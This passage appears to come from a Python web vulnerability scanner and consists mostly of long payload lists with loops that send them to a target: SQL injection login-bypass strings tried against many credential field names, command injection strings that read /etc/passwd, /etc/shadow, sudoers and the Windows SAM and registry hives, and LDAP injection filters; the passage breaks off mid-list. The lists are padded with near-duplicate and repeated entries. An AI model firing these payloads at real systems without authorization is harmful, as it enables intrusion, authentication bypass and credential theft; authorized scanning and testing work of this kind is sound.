            '1\' OR \'x\'=\'x\' OR \'x\'=\'x',
            '1\' OR \'x\'=\'x\' OR \'x\'=\'x\'--',
            '1\' OR \'x\'=\'x\' OR \'x\'=\'x\'#',
            '1\' OR \'x\'=\'x\' OR \'x\'=\'x\'/*',
            'admin\' OR \'1\'=\'1\' UNION SELECT NULL--',
            'admin\' OR \'1\'=\'1\' UNION SELECT NULL#',
            'admin\' OR \'1\'=\'1\' UNION SELECT NULL/*',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1--',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1#',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1/*',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1,2--',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1,2#',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1,2/*',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1,2,3--',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1,2,3#',
            'admin\' OR \'1\'=\'1\' UNION SELECT 1,2,3/*',
            '\' OR \'1\'=\'1\' UNION SELECT NULL--',
            '\' OR \'1\'=\'1\' UNION SELECT NULL#',
            '\' OR \'1\'=\'1\' UNION SELECT NULL/*',
            '\' OR \'1\'=\'1\' UNION SELECT 1--',
            '\' OR \'1\'=\'1\' UNION SELECT 1#',
            '\' OR \'1\'=\'1\' UNION SELECT 1/*',
            '\' OR \'1\'=\'1\' UNION SELECT 1,2--',
            '\' OR \'1\'=\'1\' UNION SELECT 1,2#',
            '\' OR \'1\'=\'1\' UNION SELECT 1,2/*',
            '\' OR \'1\'=\'1\' UNION SELECT 1,2,3--',
            '\' OR \'1\'=\'1\' UNION SELECT 1,2,3#',
            '\' OR \'1\'=\'1\' UNION SELECT 1,2,3/*',
            '1\' OR \'1\'=\'1\' UNION SELECT NULL--',
            '1\' OR \'1\'=\'1\' UNION SELECT NULL#',
            '1\' OR \'1\'=\'1\' UNION SELECT NULL/*',
            '1\' OR \'1\'=\'1\' UNION SELECT 1--',
            '1\' OR \'1\'=\'1\' UNION SELECT 1#',
            '1\' OR \'1\'=\'1\' UNION SELECT 1/*',
            '1\' OR \'1\'=\'1\' UNION SELECT 1,2--',
            '1\' OR \'1\'=\'1\' UNION SELECT 1,2#',
            '1\' OR \'1\'=\'1\' UNION SELECT 1,2/*',
            '1\' OR \'1\'=\'1\' UNION SELECT 1,2,3--',
            '1\' OR \'1\'=\'1\' UNION SELECT 1,2,3#',
            '1\' OR \'1\'=\'1\' UNION SELECT 1,2,3/*',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL--',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL#',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL/*',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1--',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1#',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1/*',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2--',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2#',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2/*',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3--',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3#',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3/*',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL--',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL#',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL/*',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1--',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1#',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1/*',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2--',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2#',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2/*',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3--',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3#',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3/*',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL--',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL#',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT NULL/*',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1--',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1#',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1/*',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2--',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2#',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2/*',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3--',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3#',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\' UNION SELECT 1,2,3/*'
        ]
        
        auth_params = ['username', 'user', 'login', 'email', 'userid', 'account', 'accountName', 'account_name', 'sAMAccountName', 'sAM_account_name', 'userPrincipalName', 'user_principal_name', 'distinguishedName', 'distinguished_name', 'displayName', 'display_name', 'givenName', 'given_name', 'sn', 'surname', 'surName', 'sur_name', 'uid', 'cn', 'mail', 'telephoneNumber', 'telephone_number', 'mobile', 'homePhone', 'home_phone', 'facsimileTelephoneNumber', 'facsimile_telephone_number', 'streetAddress', 'street_address', 'postalCode', 'postal_code', 'l', 'locality', 'st', 'state', 'c', 'country', 'co', 'countryCode', 'country_code', 'postalAddress', 'postal_address', 'physicalDeliveryOfficeName', 'physical_delivery_office_name', 'ou', 'organizationalUnit', 'organizational_unit', 'o', 'organization', 'dc', 'domainComponent', 'domain_component', 'objectClass', 'object_class', 'objectCategory', 'object_category', 'memberOf', 'member_of', 'member', 'groupMembership', 'group_membership', 'department', 'title', 'description', 'password', 'pass', 'pwd', 'passwd', 'passWord', 'pass_word', 'userPassword', 'user_password', 'userPass', 'user_pass', 'userPwd', 'user_pwd', 'userPasswd', 'user_passwd', 'loginPassword', 'login_password', 'loginPass', 'login_pass', 'loginPwd', 'login_pwd', 'loginPasswd', 'login_passwd', 'authPassword', 'auth_password', 'authPass', 'auth_pass', 'authPwd', 'auth_pwd', 'authPasswd', 'auth_passwd', 'credential', 'credentials', 'cred', 'creds', 'token', 'tokens', 'key', 'keys', 'secret', 'secrets', 'apiKey', 'api_key', 'apiSecret', 'api_secret', 'accessToken', 'access_token', 'accessKey', 'access_key', 'accessSecret', 'access_secret', 'refreshToken', 'refresh_token', 'refreshKey', 'refresh_key', 'refreshSecret', 'refresh_secret', 'sessionToken', 'session_token', 'sessionKey', 'session_key', 'sessionSecret', 'session_secret', 'bearerToken', 'bearer_token', 'bearerKey', 'bearer_key', 'bearerSecret', 'bearer_secret']
        
        for param in auth_params:
            for payload in bypass_payloads:
                try:
                    test_data = {param: payload, 'password': 'test'}
                    response = self.session.post(target_url, data=test_data)
                    
                    # Check for successful authentication indicators
                    success_indicators = [
                        'dashboard', 'welcome', 'logout', 'profile',
                        'admin panel', 'control panel', 'authenticated'
                    ]
                    
                    content_lower = response.text.lower()
                    for indicator in success_indicators:
                        if indicator in content_lower:
                            vulnerabilities.append({
                                'type': 'Authentication Bypass',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': target_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Potential authentication bypass in {param}',
                                'evidence': f'Success indicator found: {indicator}',
                                'recommendation': 'Implement proper authentication validation'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities
    
    def check_command_injection(self, target_url):
        """Check for command injection vulnerabilities"""
        vulnerabilities = []
        
        # Command injection payloads
        cmd_payloads = [
            # Basic command injection
            '; id',
            '| id',
            '&& id',
            '`id`',
            '$(id)',
            '; cat /etc/passwd',
            '| cat /etc/passwd',
            '; ping -c 1 127.0.0.1',
            '| ping -c 1 127.0.0.1',
            
            # Advanced command injection
            '; id;',
            '| id |',
            '&& id &&',
            '`id`;',
            '$(id);',
            '; id #',
            '| id #',
            '&& id #',
            '`id` #',
            '$(id) #',
            
            # Command chaining
            '; id && whoami',
            '| id | whoami',
            '&& id && whoami',
            '`id` && `whoami`',
            '$(id) && $(whoami)',
            '; id; whoami',
            '| id | whoami |',
            '&& id && whoami &&',
            '`id`; `whoami`',
            '$(id); $(whoami)',
            
            # File operations
            '; cat /etc/passwd',
            '| cat /etc/passwd',
            '&& cat /etc/passwd',
            '`cat /etc/passwd`',
            '$(cat /etc/passwd)',
            '; ls -la',
            '| ls -la',
            '&& ls -la',
            '`ls -la`',
            '$(ls -la)',
            
            # Network commands
            '; ping -c 1 127.0.0.1',
            '| ping -c 1 127.0.0.1',
            '&& ping -c 1 127.0.0.1',
            '`ping -c 1 127.0.0.1`',
            '$(ping -c 1 127.0.0.1)',
            '; nslookup google.com',
            '| nslookup google.com',
            '&& nslookup google.com',
            '`nslookup google.com`',
            '$(nslookup google.com)',
            
            # System information
            '; uname -a',
            '| uname -a',
            '&& uname -a',
            '`uname -a`',
            '$(uname -a)',
            '; hostname',
            '| hostname',
            '&& hostname',
            '`hostname`',
            '$(hostname)',
            
            # Process information
            '; ps aux',
            '| ps aux',
            '&& ps aux',
            '`ps aux`',
            '$(ps aux)',
            '; top -n 1',
            '| top -n 1',
            '&& top -n 1',
            '`top -n 1`',
            '$(top -n 1)',
            
            # User information
            '; who',
            '| who',
            '&& who',
            '`who`',
            '$(who)',
            '; w',
            '| w',
            '&& w',
            '`w`',
            '$(w)',
            
            # Directory listing
            '; pwd',
            '| pwd',
            '&& pwd',
            '`pwd`',
            '$(pwd)',
            '; find . -name "*.txt"',
            '| find . -name "*.txt"',
            '&& find . -name "*.txt"',
            '`find . -name "*.txt"`',
            '$(find . -name "*.txt")',
            
            # Windows commands
            '; dir',
            '| dir',
            '&& dir',
            '`dir`',
            '$(dir)',
            '; ipconfig',
            '| ipconfig',
            '&& ipconfig',
            '`ipconfig`',
            '$(ipconfig)',
            '; systeminfo',
            '| systeminfo',
            '&& systeminfo',
            '`systeminfo`',
            '$(systeminfo)',
            '; tasklist',
            '| tasklist',
            '&& tasklist',
            '`tasklist`',
            '$(tasklist)',
            '; netstat -an',
            '| netstat -an',
            '&& netstat -an',
            '`netstat -an`',
            '$(netstat -an)',
            '; net user',
            '| net user',
            '&& net user',
            '`net user`',
            '$(net user)',
            '; net localgroup',
            '| net localgroup',
            '&& net localgroup',
            '`net localgroup`',
            '$(net localgroup)',
            '; wmic qfe',
            '| wmic qfe',
            '&& wmic qfe',
            '`wmic qfe`',
            '$(wmic qfe)',
            '; wmic os',
            '| wmic os',
            '&& wmic os',
            '`wmic os`',
            '$(wmic os)',
            '; wmic cpu',
            '| wmic cpu',
            '&& wmic cpu',
            '`wmic cpu`',
            '$(wmic cpu)',
            '; wmic memorychip',
            '| wmic memorychip',
            '&& wmic memorychip',
            '`wmic memorychip`',
            '$(wmic memorychip)',
            '; wmic diskdrive',
            '| wmic diskdrive',
            '&& wmic diskdrive',
            '`wmic diskdrive`',
            '$(wmic diskdrive)',
            '; wmic networkadapter',
            '| wmic networkadapter',
            '&& wmic networkadapter',
            '`wmic networkadapter`',
            '$(wmic networkadapter)',
            '; wmic service',
            '| wmic service',
            '&& wmic service',
            '`wmic service`',
            '$(wmic service)',
            '; wmic process',
            '| wmic process',
            '&& wmic process',
            '`wmic process`',
            '$(wmic process)',
            '; wmic startup',
            '| wmic startup',
            '&& wmic startup',
            '`wmic startup`',
            '$(wmic startup)',
            '; wmic share',
            '| wmic share',
            '&& wmic share',
            '`wmic share`',
            '$(wmic share)',
            '; wmic printer',
            '| wmic printer',
            '&& wmic printer',
            '`wmic printer`',
            '$(wmic printer)',
            '; wmic bios',
            '| wmic bios',
            '&& wmic bios',
            '`wmic bios`',
            '$(wmic bios)',
            '; wmic baseboard',
            '| wmic baseboard',
            '&& wmic baseboard',
            '`wmic baseboard`',
            '$(wmic baseboard)',
            '; wmic computersystem',
            '| wmic computersystem',
            '&& wmic computersystem',
            '`wmic computersystem`',
            '$(wmic computersystem)',
            '; wmic environment',
            '| wmic environment',
            '&& wmic environment',
            '`wmic environment`',
            '$(wmic environment)',
            '; wmic timezone',
            '| wmic timezone',
            '&& wmic timezone',
            '`wmic timezone`',
            '$(wmic timezone)',
            '; wmic logicaldisk',
            '| wmic logicaldisk',
            '&& wmic logicaldisk',
            '`wmic logicaldisk`',
            '$(wmic logicaldisk)',
            '; wmic volume',
            '| wmic volume',
            '&& wmic volume',
            '`wmic volume`',
            '$(wmic volume)',
            '; wmic partition',
            '| wmic partition',
            '&& wmic partition',
            '`wmic partition`',
            '$(wmic partition)',
            '; wmic shadowcopy',
            '| wmic shadowcopy',
            '&& wmic shadowcopy',
            '`wmic shadowcopy`',
            '$(wmic shadowcopy)',
            '; wmic shadowstorage',
            '| wmic shadowstorage',
            '&& wmic shadowstorage',
            '`wmic shadowstorage`',
            '$(wmic shadowstorage)',
            '; wmic shadowvolume',
            '| wmic shadowvolume',
            '&& wmic shadowvolume',
            '`wmic shadowvolume`',
            '$(wmic shadowvolume)',
            '; wmic shadowcopy',
            '| wmic shadowcopy',
            '&& wmic shadowcopy',
            '`wmic shadowcopy`',
            '$(wmic shadowcopy)',
            '; wmic shadowstorage',
            '| wmic shadowstorage',
            '&& wmic shadowstorage',
            '`wmic shadowstorage`',
            '$(wmic shadowstorage)',
            '; wmic shadowvolume',
            '| wmic shadowvolume',
            '&& wmic shadowvolume',
            '`wmic shadowvolume`',
            '$(wmic shadowvolume)',
            
            # Additional command injection payloads
            '; cat /etc/passwd | head -20',
            '| cat /etc/passwd | head -20',
            '&& cat /etc/passwd | head -20',
            '`cat /etc/passwd | head -20`',
            '$(cat /etc/passwd | head -20)',
            '; cat /etc/shadow | head -20',
            '| cat /etc/shadow | head -20',
            '&& cat /etc/shadow | head -20',
            '`cat /etc/shadow | head -20`',
            '$(cat /etc/shadow | head -20)',
            '; cat /proc/version',
            '| cat /proc/version',
            '&& cat /proc/version',
            '`cat /proc/version`',
            '$(cat /proc/version)',
            '; cat /proc/cpuinfo',
            '| cat /proc/cpuinfo',
            '&& cat /proc/cpuinfo',
            '`cat /proc/cpuinfo`',
            '$(cat /proc/cpuinfo)',
            '; cat /proc/meminfo',
            '| cat /proc/meminfo',
            '&& cat /proc/meminfo',
            '`cat /proc/meminfo`',
            '$(cat /proc/meminfo)',
            '; cat /etc/hosts',
            '| cat /etc/hosts',
            '&& cat /etc/hosts',
            '`cat /etc/hosts`',
            '$(cat /etc/hosts)',
            '; cat /etc/group',
            '| cat /etc/group',
            '&& cat /etc/group',
            '`cat /etc/group`',
            '$(cat /etc/group)',
            '; cat /etc/sudoers',
            '| cat /etc/sudoers',
            '&& cat /etc/sudoers',
            '`cat /etc/sudoers`',
            '$(cat /etc/sudoers)',
            '; cat /etc/fstab',
            '| cat /etc/fstab',
            '&& cat /etc/fstab',
            '`cat /etc/fstab`',
            '$(cat /etc/fstab)',
            '; cat /etc/mtab',
            '| cat /etc/mtab',
            '&& cat /etc/mtab',
            '`cat /etc/mtab`',
            '$(cat /etc/mtab)',
            '; cat /etc/issue',
            '| cat /etc/issue',
            '&& cat /etc/issue',
            '`cat /etc/issue`',
            '$(cat /etc/issue)',
            '; cat /etc/os-release',
            '| cat /etc/os-release',
            '&& cat /etc/os-release',
            '`cat /etc/os-release`',
            '$(cat /etc/os-release)',
            '; cat /etc/lsb-release',
            '| cat /etc/lsb-release',
            '| cat /etc/lsb-release',
            '&& cat /etc/lsb-release',
            '`cat /etc/lsb-release`',
            '$(cat /etc/lsb-release)',
            '; cat /etc/redhat-release',
            '| cat /etc/redhat-release',
            '&& cat /etc/redhat-release',
            '`cat /etc/redhat-release`',
            '$(cat /etc/redhat-release)',
            '; cat /etc/debian_version',
            '| cat /etc/debian_version',
            '&& cat /etc/debian_version',
            '`cat /etc/debian_version`',
            '$(cat /etc/debian_version)',
            '; cat /etc/centos-release',
            '| cat /etc/centos-release',
            '&& cat /etc/centos-release',
            '`cat /etc/centos-release`',
            '$(cat /etc/centos-release)',
            '; cat /etc/ubuntu-release',
            '| cat /etc/ubuntu-release',
            '&& cat /etc/ubuntu-release',
            '`cat /etc/ubuntu-release`',
            '$(cat /etc/ubuntu-release)',
            '; cat /etc/fedora-release',
            '| cat /etc/fedora-release',
            '&& cat /etc/fedora-release',
            '`cat /etc/fedora-release`',
            '$(cat /etc/fedora-release)',
            '; cat /etc/suse-release',
            '| cat /etc/suse-release',
            '&& cat /etc/suse-release',
            '`cat /etc/suse-release`',
            '$(cat /etc/suse-release)',
            '; cat /etc/arch-release',
            '| cat /etc/arch-release',
            '&& cat /etc/arch-release',
            '`cat /etc/arch-release`',
            '$(cat /etc/arch-release)',
            '; cat /etc/alpine-release',
            '| cat /etc/alpine-release',
            '&& cat /etc/alpine-release',
            '`cat /etc/alpine-release`',
            '$(cat /etc/alpine-release)',
            '; cat /etc/gentoo-release',
            '| cat /etc/gentoo-release',
            '&& cat /etc/gentoo-release',
            '`cat /etc/gentoo-release`',
            '$(cat /etc/gentoo-release)',
            '; cat /etc/slackware-version',
            '| cat /etc/slackware-version',
            '&& cat /etc/slackware-version',
            '`cat /etc/slackware-version`',
            '$(cat /etc/slackware-version)',
            '; cat /etc/mandriva-release',
            '| cat /etc/mandriva-release',
            '&& cat /etc/mandriva-release',
            '`cat /etc/mandriva-release`',
            '$(cat /etc/mandriva-release)',
            '; cat /etc/turbolinux-release',
            '| cat /etc/turbolinux-release',
            '&& cat /etc/turbolinux-release',
            '`cat /etc/turbolinux-release`',
            '$(cat /etc/turbolinux-release)',
            '; cat /etc/vmware-release',
            '| cat /etc/vmware-release',
            '&& cat /etc/vmware-release',
            '`cat /etc/vmware-release`',
            '$(cat /etc/vmware-release)',
            '; cat /etc/system-release',
            '| cat /etc/system-release',
            '&& cat /etc/system-release',
            '`cat /etc/system-release`',
            '$(cat /etc/system-release)',
            '; cat /etc/release',
            '| cat /etc/release',
            '&& cat /etc/release',
            '`cat /etc/release`',
            '$(cat /etc/release)',
            '; cat /etc/version',
            '| cat /etc/version',
            '&& cat /etc/version',
            '`cat /etc/version`',
            '$(cat /etc/version)',
            '; cat /etc/VERSION',
            '| cat /etc/VERSION',
            '&& cat /etc/VERSION',
            '`cat /etc/VERSION`',
            '$(cat /etc/VERSION)',
            '; cat /etc/RELEASE',
            '| cat /etc/RELEASE',
            '&& cat /etc/RELEASE',
            '`cat /etc/RELEASE`',
            '$(cat /etc/RELEASE)',
            '; cat /etc/RELEASE',
            '| cat /etc/RELEASE',
            '&& cat /etc/RELEASE',
            '`cat /etc/RELEASE`',
            '$(cat /etc/RELEASE)',
            '; cat C:\\Windows\\System32\\drivers\\etc\\hosts',
            '| cat C:\\Windows\\System32\\drivers\\etc\\hosts',
            '&& cat C:\\Windows\\System32\\drivers\\etc\\hosts',
            '`cat C:\\Windows\\System32\\drivers\\etc\\hosts`',
            '$(cat C:\\Windows\\System32\\drivers\\etc\\hosts)',
            '; type C:\\Windows\\System32\\drivers\\etc\\hosts',
            '| type C:\\Windows\\System32\\drivers\\etc\\hosts',
            '&& type C:\\Windows\\System32\\drivers\\etc\\hosts',
            '`type C:\\Windows\\System32\\drivers\\etc\\hosts`',
            '$(type C:\\Windows\\System32\\drivers\\etc\\hosts)',
            '; type C:\\Windows\\win.ini',
            '| type C:\\Windows\\win.ini',
            '&& type C:\\Windows\\win.ini',
            '`type C:\\Windows\\win.ini`',
            '$(type C:\\Windows\\win.ini)',
            '; type C:\\boot.ini',
            '| type C:\\boot.ini',
            '&& type C:\\boot.ini',
            '`type C:\\boot.ini`',
            '$(type C:\\boot.ini)',
            '; type C:\\Windows\\System32\\config\\sam',
            '| type C:\\Windows\\System32\\config\\sam',
            '&& type C:\\Windows\\System32\\config\\sam',
            '`type C:\\Windows\\System32\\config\\sam`',
            '$(type C:\\Windows\\System32\\config\\sam)',
            '; type C:\\Windows\\System32\\config\\system',
            '| type C:\\Windows\\System32\\config\\system',
            '&& type C:\\Windows\\System32\\config\\system',
            '`type C:\\Windows\\System32\\config\\system`',
            '$(type C:\\Windows\\System32\\config\\system)',
            '; type C:\\Windows\\System32\\config\\security',
            '| type C:\\Windows\\System32\\config\\security',
            '&& type C:\\Windows\\System32\\config\\security',
            '`type C:\\Windows\\System32\\config\\security`',
            '$(type C:\\Windows\\System32\\config\\security)',
            '; type C:\\Windows\\System32\\config\\software',
            '| type C:\\Windows\\System32\\config\\software',
            '&& type C:\\Windows\\System32\\config\\software',
            '`type C:\\Windows\\System32\\config\\software`',
            '$(type C:\\Windows\\System32\\config\\software)',
            '; type C:\\Windows\\System32\\config\\default',
            '| type C:\\Windows\\System32\\config\\default',
            '&& type C:\\Windows\\System32\\config\\default',
            '`type C:\\Windows\\System32\\config\\default`',
            '$(type C:\\Windows\\System32\\config\\default)',
            '; type C:\\Windows\\System32\\config\\SAM',
            '| type C:\\Windows\\System32\\config\\SAM',
            '&& type C:\\Windows\\System32\\config\\SAM',
            '`type C:\\Windows\\System32\\config\\SAM`',
            '$(type C:\\Windows\\System32\\config\\SAM)',
            '; type C:\\Windows\\System32\\config\\SYSTEM',
            '| type C:\\Windows\\System32\\config\\SYSTEM',
            '&& type C:\\Windows\\System32\\config\\SYSTEM',
            '`type C:\\Windows\\System32\\config\\SYSTEM`',
            '$(type C:\\Windows\\System32\\config\\SYSTEM)',
            '; type C:\\Windows\\System32\\config\\SECURITY',
            '| type C:\\Windows\\System32\\config\\SECURITY',
            '&& type C:\\Windows\\System32\\config\\SECURITY',
            '`type C:\\Windows\\System32\\config\\SECURITY`',
            '$(type C:\\Windows\\System32\\config\\SECURITY)',
            '; type C:\\Windows\\System32\\config\\SOFTWARE',
            '| type C:\\Windows\\System32\\config\\SOFTWARE',
            '&& type C:\\Windows\\System32\\config\\SOFTWARE',
            '`type C:\\Windows\\System32\\config\\SOFTWARE`',
            '$(type C:\\Windows\\System32\\config\\SOFTWARE)',
            '; type C:\\Windows\\System32\\config\\DEFAULT',
            '| type C:\\Windows\\System32\\config\\DEFAULT',
            '&& type C:\\Windows\\System32\\config\\DEFAULT',
            '`type C:\\Windows\\System32\\config\\DEFAULT`',
            '$(type C:\\Windows\\System32\\config\\DEFAULT)'
        ]
        
        test_params = ['cmd', 'command', 'exec', 'system', 'ping', 'host', 'ip', 'hostname', 'domain', 'url', 'path', 'file', 'filename', 'input', 'data', 'param', 'query', 'search']
        
        for param in test_params:
            for payload in cmd_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url)
                    
                    # Check for command execution indicators
                    cmd_indicators = [
                        'uid=', 'gid=', 'groups=',  # id command output
                        'root:x:0:0:', 'daemon:x:',  # /etc/passwd content
                        'PING', 'ping statistics',   # ping command output
                        '64 bytes from', 'packets transmitted'
                    ]
                    
                    for indicator in cmd_indicators:
                        if indicator in response.text:
                            vulnerabilities.append({
                                'type': 'Command Injection',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Command injection in parameter {param}',
                                'evidence': indicator,
                                'recommendation': 'Sanitize input and use parameterized commands'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities
    
    def check_ldap_injection(self, target_url):
        """Check for LDAP injection vulnerabilities"""
        vulnerabilities = []
        
        # LDAP injection payloads
        ldap_payloads = [
            '*',
            '*)(&',
            '*)(|(&',
            '*))(|',
            '*))%00',
            '*)(cn=*))((cn=*',
            '*)(uid=*))(|(uid=*',
            '*)(&(objectClass=*',
            # Additional LDAP injection payloads
            '*)(|(cn=*))',
            '*)(|(uid=*))',
            '*)(|(mail=*))',
            '*)(|(sn=*))',
            '*)(|(givenName=*))',
            '*)(|(displayName=*))',
            '*)(|(sAMAccountName=*))',
            '*)(|(userPrincipalName=*))',
            '*)(|(distinguishedName=*))',
            '*)(|(objectClass=*))',
            '*)(|(objectCategory=*))',
            '*)(|(memberOf=*))',
            '*)(|(member=*))',
            '*)(|(groupMembership=*))',
            '*)(|(department=*))',
            '*)(|(title=*))',
            '*)(|(description=*))',
            '*)(|(telephoneNumber=*))',
            '*)(|(mobile=*))',
            '*)(|(homePhone=*))',
            '*)(|(facsimileTelephoneNumber=*))',
            '*)(|(streetAddress=*))',
            '*)(|(postalCode=*))',
            '*)(|(l=*))',
            '*)(|(st=*))',
            '*)(|(c=*))',
            '*)(|(co=*))',
            '*)(|(countryCode=*))',
            '*)(|(postalAddress=*))',
            '*)(|(physicalDeliveryOfficeName=*))',
            '*)(|(ou=*))',
            '*)(|(o=*))',
            '*)(|(dc=*))',
            '*)(|(cn=*)(uid=*))',
            '*)(|(cn=*)(mail=*))',
            '*)(|(cn=*)(sn=*))',
            '*)(|(cn=*)(givenName=*))',
            '*)(|(cn=*)(displayName=*))',
            '*)(|(cn=*)(sAMAccountName=*))',
            '*)(|(cn=*)(userPrincipalName=*))',
            '*)(|(cn=*)(distinguishedName=*))',
            '*)(|(cn=*)(objectClass=*))',
            '*)(|(cn=*)(objectCategory=*))',
            '*)(|(cn=*)(memberOf=*))',
            '*)(|(cn=*)(member=*))',
            '*)(|(cn=*)(groupMembership=*))',
            '*)(|(uid=*)(mail=*))',
            '*)(|(uid=*)(sn=*))',
            '*)(|(uid=*)(givenName=*))',
            '*)(|(uid=*)(displayName=*))',
            '*)(|(uid=*)(sAMAccountName=*))',
            '*)(|(uid=*)(userPrincipalName=*))',
            '*)(|(uid=*)(distinguishedName=*))',
            '*)(|(uid=*)(objectClass=*))',
            '*)(|(uid=*)(objectCategory=*))',
            '*)(|(uid=*)(memberOf=*))',
            '*)(|(uid=*)(member=*))',
            '*)(|(uid=*)(groupMembership=*))',
            '*)(|(mail=*)(sn=*))',
            '*)(|(mail=*)(givenName=*))',
            '*)(|(mail=*)(displayName=*))',
            '*)(|(mail=*)(sAMAccountName=*))',
            '*)(|(mail=*)(userPrincipalName=*))',
            '*)(|(mail=*)(distinguishedName=*))',
            '*)(|(mail=*)(objectClass=*))',
            '*)(|(mail=*)(objectCategory=*))',
            '*)(|(mail=*)(memberOf=*))',
            '*)(|(mail=*)(member=*))',
            '*)(|(mail=*)(groupMembership=*))',
            '*)(|(sn=*)(givenName=*))',
            '*)(|(sn=*)(displayName=*))',
            '*)(|(sn=*)(sAMAccountName=*))',
            '*)(|(sn=*)(userPrincipalName=*))',
            '*)(|(sn=*)(distinguishedName=*))',
            '*)(|(sn=*)(objectClass=*))',
            '*)(|(sn=*)(objectCategory=*))',
            '*)(|(sn=*)(memberOf=*))',
            '*)(|(sn=*)(member=*))',
            '*)(|(sn=*)(groupMembership=*))',
            '*)(|(givenName=*)(displayName=*))',
            '*)(|(givenName=*)(sAMAccountName=*))',
            '*)(|(givenName=*)(userPrincipalName=*))',
            '*)(|(givenName=*)(distinguishedName=*))',
            '*)(|(givenName=*)(objectClass=*))',
            '*)(|(givenName=*)(objectCategory=*))',
            '*)(|(givenName=*)(memberOf=*))',
            '*)(|(givenName=*)(member=*))',
            '*)(|(givenName=*)(groupMembership=*))',
            '*)(|(displayName=*)(sAMAccountName=*))',
            '*)(|(displayName=*)(userPrincipalName=*))',
            '*)(|(displayName=*)(distinguishedName=*))',
            '*)(|(displayName=*)(objectClass=*))',
            '*)(|(displayName=*)(objectCategory=*))',
            '*)(|(displayName=*)(memberOf=*))',
            '*)(|(displayName=*)(member=*))',
            '*)(|(displayName=*)(groupMembership=*))',
            '*)(|(sAMAccountName=*)(userPrincipalName=*))',
            '*)(|(sAMAccountName=*)(distinguishedName=*))',
            '*)(|(sAMAccountName=*)(objectClass=*))',
            '*)(|(sAMAccountName=*)(objectCategory=*))',
            '*)(|(sAMAccountName=*)(memberOf=*))',
            '*)(|(sAMAccountName=*)(member=*))',
            '*)(|(sAMAccountName=*)(groupMembership=*))',
            '*)(|(userPrincipalName=*)(distinguishedName=*))',
            '*)(|(userPrincipalName=*)(objectClass=*))',
            '*)(|(userPrincipalName=*)(objectCategory=*))',
            '*)(|(userPrincipalName=*)(memberOf=*))',
            '*)(|(userPrincipalName=*)(member=*))',
            '*)(|(userPrincipalName=*)(groupMembership=*))',
            '*)(|(distinguishedName=*)(objectClass=*))',
            '*)(|(distinguishedName=*)(objectCategory=*))',
            '*)(|(distinguishedName=*)(memberOf=*))',
            '*)(|(distinguishedName=*)(member=*))',
            '*)(|(distinguishedName=*)(groupMembership=*))',
            '*)(|(objectClass=*)(objectCategory=*))',
            '*)(|(objectClass=*)(memberOf=*))',
            '*)(|(objectClass=*)(member=*))',
            '*)(|(objectClass=*)(groupMembership=*))',
            '*)(|(objectCategory=*)(memberOf=*))',
            '*)(|(objectCategory=*)(member=*))',
            '*)(|(objectCategory=*)(groupMembership=*))',
            '*)(|(memberOf=*)(member=*))',
            '*)(|(memberOf=*)(groupMembership=*))',
